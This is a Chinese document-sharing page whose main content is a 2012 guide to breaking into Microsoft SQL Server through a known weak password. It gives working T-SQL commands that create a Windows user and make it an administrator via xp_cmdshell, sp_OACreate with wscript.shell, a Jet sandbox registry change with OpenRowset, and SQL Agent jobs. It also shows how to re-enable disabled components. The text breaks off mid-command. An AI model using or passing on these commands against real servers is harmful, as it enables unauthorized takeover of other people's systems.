- 1、本文档共7页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
1433 SQL Server 弱口令入侵方法大全
2012年4月28日Sql Server 弱口令入侵一、入侵条件:已得到 Sql server 弱口令,连接Sql Server 二、入侵方法: 方法一:exec xp_cmdshell net user test test /add ; ---使用 xp_cmdshell 函数创建 test用户exec xp_cmdshell net localgroup administrators test /add; ---提权test 用户为 超级管理员如果提示 xp_cmdshell 组件被禁止使用,想开启,使用语句:;EXECsp_configureshow advanced options, 1;RECONFIGURE;EXECsp_configurexp_cmdshell, 1;RECONFIGURE;--可以使用语句来查看 xp_cmdshell 存储过程是否被删除select count(*) from master.dbo.sysobjects where xtype=X and name=xp_cmdshell;如果被删除,可以使用如下语句来恢复(前提是 xplog70.dll 必须存在)exec sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll方法二:如果 xp_cmdshell 被删除或不能使用时,可以利用 SP_OACreate 或 SP_OAMETHOD 调用系统对象 wscript.shell 来执行命令,先用 SP_OACreate 调用wscript.shell ,并赋值变量,再由 SP_PAMETHOD 调用执行,语句如下:Declare @runshell INTExec SP_OACreate wscript.shell,@runshell out Exec SP_OAMETHOD @runshell,run,null,net user test test /add如果遇到被 SP_OACreate 被禁用,则使用如下语句恢复:sp_configure show advanced options, 1; GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GOEXEC sp_configure Ole Automation Procedures;GO方法三:使用沙盒模式,开启沙盒模式命令:exec master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SoftWare\Microsoft\Jet\4.0\Engines,SanBoxMode,REG_DWORD,0执行命令创建用户select*fromOpenRowSet(Microsoft.Jet,OLEDB,4.0,;DataBase=c:\windows\system32\ias\ias.mdb,select shell(net user test2 test2 /add))如果遇到 SQL Server 阻止了对组件Ad Hoc Distributed Queries 的STATEMENTOpenRowset/OpenDatasource 的访问执行:execsp_configureshow advanced options,1reconfigureexecsp_configureAd Hoc Distributed Queries,1reconfigure方法四:利用 sqlserveragent 服务,由于 sqlserveragent 服务默认是关闭的,需要利用 xp_servicecontrol 来启动启动命令:exec master.dbo.xp_servicecontrol start,sqlserveragent 如启动成功,则执行:USE msdbexecsp_add_job @job_name =GetSystemOnSQL,@enabled = 1,@description =This will give a low privileged user access to xp_cmdshell,@delete_level = 1 EXECsp_add_jobstep @job_name =GetSystemOnSQL,@step_name =Exec my sql,@subsystem =TSQL,@command =exec master..xp_execresultset Nselect exec master..xp_cmdshell dir c:/agent-job-results.txt,NMasterexecsp_add_jobserv
您可能关注的文档
- 2008年专升本入学考试《大学英语》模拟试卷.doc
- 8A期末完形填空专项.docx
- 唐王中学英语小品剧本.doc
- 托福写作必备4篇范文.docx
- 外贸英语复习题.docx
- 8套大学英语四级词汇精选练习题及答案.doc
- 网络资源与信息检索3.doc
- 新视野大学英语(第三版)课后练习答案 第三册第一单元.docx
- 牛津小学英语经典词组句子语法.doc
- HND商法导论outcome2案例及题目.doc
- 大学生职业规划大赛《新闻学专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《应用统计学专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《音乐学专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《中医学专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《信息管理与信息系统专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《汽车服务工程专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《水产养殖学专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《市场营销专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《音乐表演专业》生涯发展展示PPT.pptx
- 大学生职业规划大赛《音乐学专业》生涯发展展示PPT.pptx
文档评论(0)